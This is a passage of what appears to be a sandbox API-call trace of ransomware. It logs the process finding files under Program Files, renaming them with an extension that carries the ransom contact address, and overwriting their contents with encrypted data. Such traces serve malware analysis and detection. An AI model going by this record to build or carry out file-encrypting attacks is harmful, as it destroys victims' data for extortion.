lpBuffer=0x70bc4f8*, lpNumberOfBytesWritten=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.611] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.611] WriteFile (in: hFile=0x4e4, lpBuffer=0x70c78f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c78f7*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.611] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.611] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.611] CloseHandle (hObject=0x4e4) returned 1 [0112.614] GetProcessHeap () returned 0x630000 [0112.614] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70bc4f8 | out: hHeap=0x630000) returned 1 [0112.615] GetProcessHeap () returned 0x630000 [0112.615] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7078a80 | out: hHeap=0x630000) returned 1 [0112.618] GetProcessHeap () returned 0x630000 [0112.618] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0112.618] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.618] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x9111fd3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0x9187496, dwReserved1=0x7078a78, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIFEF8~1.FIR")) returned 0x6d4f80 [0112.618] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0112.619] Sleep (dwMilliseconds=0x1) [0113.665] Sleep (dwMilliseconds=0x1) [0114.299] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml", len=0x3c | out: pbstr=0x637ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 1 [0114.299] GetProcessHeap () returned 0x630000 [0114.299] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8568, Size=0x5c) returned 0x6e85d0 [0114.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.300] Sleep (dwMilliseconds=0x1) [0114.311] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", len=0x53 | out: pbstr=0x637ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 1 [0114.311] GetProcessHeap () returned 0x630000 [0114.311] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fe0, Size=0x18) returned 0x6b02b8 [0114.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.311] Sleep (dwMilliseconds=0x1) [0114.325] Sleep (dwMilliseconds=0x1) [0114.404] Sleep (dwMilliseconds=0x1) [0114.421] Sleep (dwMilliseconds=0x1) [0114.439] Sleep (dwMilliseconds=0x1) [0114.514] Sleep (dwMilliseconds=0x1) [0114.553] Sleep (dwMilliseconds=0x1) [0114.561] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml", len=0x3d | out: pbstr=0x637ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml") returned 1 [0114.561] GetProcessHeap () returned 0x630000 [0114.561] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1208 | out: hHeap=0x630000) returned 1 [0114.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.563] Sleep (dwMilliseconds=0x1) [0114.577] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml", len=0x3c | out: pbstr=0x637ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 1 [0114.577] GetProcessHeap () returned 0x630000 [0114.577] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6230, Size=0x2c) returned 0x6ed5dd0 [0114.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.583] Sleep (dwMilliseconds=0x1) [0114.605] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml", len=0x3d | out: pbstr=0x637ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 1 [0114.605] GetProcessHeap () returned 0x630000 [0114.605] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0318, Size=0x10) returned 0x6b1448 [0114.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.611] Sleep (dwMilliseconds=0x1) [0114.624] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml", len=0x3d | out: pbstr=0x637ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 1 [0114.624] GetProcessHeap () returned 0x630000 [0114.624] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1418 | out: hHeap=0x630000) returned 1 [0114.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.625] Sleep (dwMilliseconds=0x1) [0114.638] Sleep (dwMilliseconds=0x1) [0114.653] Sleep (dwMilliseconds=0x1) [0114.669] Sleep (dwMilliseconds=0x1) [0114.686] Sleep (dwMilliseconds=0x1) [0114.700] Sleep (dwMilliseconds=0x1) [0114.716] Sleep (dwMilliseconds=0x1) [0114.731] Sleep (dwMilliseconds=0x1) [0114.747] Sleep (dwMilliseconds=0x1) [0114.762] Sleep (dwMilliseconds=0x1) [0115.081] Sleep (dwMilliseconds=0x1) [0115.358] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", len=0x43 | out: pbstr=0x637ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 1 [0115.358] GetProcessHeap () returned 0x630000 [0115.358] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e81c0, Size=0x5c) returned 0x6e7ee8 [0115.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.390] Sleep (dwMilliseconds=0x1) [0115.404] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm", len=0x4c | out: pbstr=0x637ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 1 [0115.404] GetProcessHeap () returned 0x630000 [0115.404] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ef208, Size=0x48) returned 0x649f58 [0115.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.405] Sleep (dwMilliseconds=0x1) [0115.419] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", len=0x43 | out: pbstr=0x637ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 1 [0115.419] GetProcessHeap () returned 0x630000 [0115.419] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649f58, Size=0x44) returned 0x64a048 [0115.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.421] Sleep (dwMilliseconds=0x1) [0115.435] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm", len=0x4c | out: pbstr=0x637ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 1 [0115.435] GetProcessHeap () returned 0x630000 [0115.435] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5280, Size=0x30) returned 0x6ed6150 [0115.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.436] Sleep (dwMilliseconds=0x1) [0115.453] Sleep (dwMilliseconds=0x1) [0115.497] Sleep (dwMilliseconds=0x1) [0115.522] Sleep (dwMilliseconds=0x1) [0115.536] Sleep (dwMilliseconds=0x1) [0115.576] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb", len=0x34 | out: pbstr=0x637ff7c*="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 1 [0115.576] GetProcessHeap () returned 0x630000 [0115.576] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6038, Size=0x2c) returned 0x6ed6070 [0115.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.579] Sleep (dwMilliseconds=0x1) [0115.638] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb", len=0x34 | out: pbstr=0x637ff7c*="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 1 [0115.639] GetProcessHeap () returned 0x630000 [0115.639] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9198, Size=0x18) returned 0x6b0318 [0115.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.641] Sleep (dwMilliseconds=0x1) [0115.654] Sleep (dwMilliseconds=0x1) [0115.669] Sleep (dwMilliseconds=0x1) [0115.684] Sleep (dwMilliseconds=0x1) [0115.700] Sleep (dwMilliseconds=0x1) [0115.715] Sleep (dwMilliseconds=0x1) [0115.733] Sleep (dwMilliseconds=0x1) [0115.746] Sleep (dwMilliseconds=0x1) [0115.763] Sleep (dwMilliseconds=0x1) [0115.778] Sleep (dwMilliseconds=0x1) [0115.794] Sleep (dwMilliseconds=0x1) [0115.809] Sleep (dwMilliseconds=0x1) [0115.825] Sleep (dwMilliseconds=0x1) [0115.889] Sleep (dwMilliseconds=0x1) [0115.903] Sleep (dwMilliseconds=0x1) [0115.918] Sleep (dwMilliseconds=0x1) [0115.935] Sleep (dwMilliseconds=0x1) [0115.950] Sleep (dwMilliseconds=0x1) [0115.980] Sleep (dwMilliseconds=0x1) [0116.345] Sleep (dwMilliseconds=0x1) [0116.357] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\desktop.ini", len=0x1c | out: pbstr=0x637ff7c*="C:\\Program Files\\desktop.ini") returned 1 [0116.357] GetProcessHeap () returned 0x630000 [0116.357] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e93a0, Size=0x18) returned 0x6b01f8 [0116.357] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0116.358] CloseHandle (hObject=0x6bc) returned 1 [0116.358] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.358] MoveFileW (lpExistingFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), lpNewFileName="C:\\Program Files\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0116.362] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0116.362] FindFirstFileW (in: lpFileName="C:\\Program Files\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="")) returned 0x6d4f40 [0116.362] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0116.362] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0116.362] GetProcessHeap () returned 0x630000 [0116.362] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc1) returned 0x6e8730 [0116.362] GetProcessHeap () returned 0x630000 [0116.362] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc1) returned 0x6e8ce0 [0116.362] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.362] ReadFile (in: hFile=0x6bc, lpBuffer=0x6e8730, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e8730*, lpNumberOfBytesRead=0x637ff0c*=0xa0, lpOverlapped=0x0) returned 1 [0116.364] GetProcessHeap () returned 0x630000 [0116.364] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0116.364] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.364] WriteFile (in: hFile=0x6bc, lpBuffer=0x6e8ce0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e8ce0*, lpNumberOfBytesWritten=0x637ff0c*=0xa0, lpOverlapped=0x0) returned 1 [0116.364] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.364] WriteFile (in: hFile=0x6bc, lpBuffer=0x6e8d7f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e8d7f*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0116.364] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.364] WriteFile (in: hFile=0x6bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0116.364] CloseHandle (hObject=0x6bc) returned 1 [0116.365] GetProcessHeap () returned 0x630000 [0116.365] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8ce0 | out: hHeap=0x630000) returned 1 [0116.365] GetProcessHeap () returned 0x630000 [0116.365] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0116.365] GetProcessHeap () returned 0x630000 [0116.365] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0116.365] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0116.365] FindFirstFileW (in: lpFileName="C:\\Program Files\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xb4e651e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x637fd20, dwReserved1=0x6e8730, cFileName="desktop.ini.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="")) returned 0x6d5280 [0116.365] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0116.366] Sleep (dwMilliseconds=0x1) [0116.375] Sleep (dwMilliseconds=0x1) [0116.404] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl", len=0x32 | out: pbstr=0x637ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 1 [0116.404] GetProcessHeap () returned 0x630000 [0116.404] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0178, Size=0x14) returned 0x6b0238 [0116.404] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0116.453] CloseHandle (hObject=0x4e8) returned 1 [0116.454] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.454] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0116.454] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0116.455] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.cpl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVACP~1.FIR")) returned 0x6d5400 [0116.455] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0116.455] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0116.455] GetProcessHeap () returned 0x630000 [0116.455] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fe1a08 [0116.455] GetProcessHeap () returned 0x630000 [0116.455] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ed88b0 [0116.456] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.456] ReadFile (in: hFile=0x4e8, lpBuffer=0x6fe1a08, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe1a08*, lpNumberOfBytesRead=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0122.151] GetProcessHeap () returned 0x630000 [0122.151] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0122.151] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.151] WriteFile (in: hFile=0x4e8, lpBuffer=0x6ed88b0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed88b0*, lpNumberOfBytesWritten=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0122.151] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.151] WriteFile (in: hFile=0x4e8, lpBuffer=0x6ee3caf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee3caf*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0122.152] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.152] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0122.152] CloseHandle (hObject=0x4e8) returned 1 [0122.157] GetProcessHeap () returned 0x630000 [0122.157] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed88b0 | out: hHeap=0x630000) returned 1 [0122.157] GetProcessHeap () returned 0x630000 [0122.157] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fe1a08 | out: hHeap=0x630000) returned 1 [0122.160] GetProcessHeap () returned 0x630000 [0122.160] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0124.053] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.053] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xec322e7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2dc24, dwReserved0=0x9187496, 